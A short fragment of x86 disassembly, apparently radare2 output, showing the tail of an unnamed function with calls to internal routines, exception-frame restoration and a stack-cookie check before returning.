push 0x31
mov ecx, dword [esi + 0x5c]
call fcn.0044d0b0
push fcn.0040e2f0
push 2
push 0x30
lea eax, [ebp - 0x458]
mov dword [ebp - 4], 0xb
push eax
call fcn.0051510b
cmp byte [esi + 0x269], 0
je 0x443936
push 1
mov ecx, esi
call fcn.0040dde0
mov eax, dword [ebp - 0x3cc]
test eax, eax
je 0x443949
push 1
mov ecx, eax
call fcn.00443990
lea ecx, [ebp - 0x3a8]
call fcn.00409830
mov esi, dword [ebp - 0x3d4]
lea ecx, [ebp - 0x3c0]
call fcn.00409830
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00514e1d
mov esp, ebp
pop ebp
ret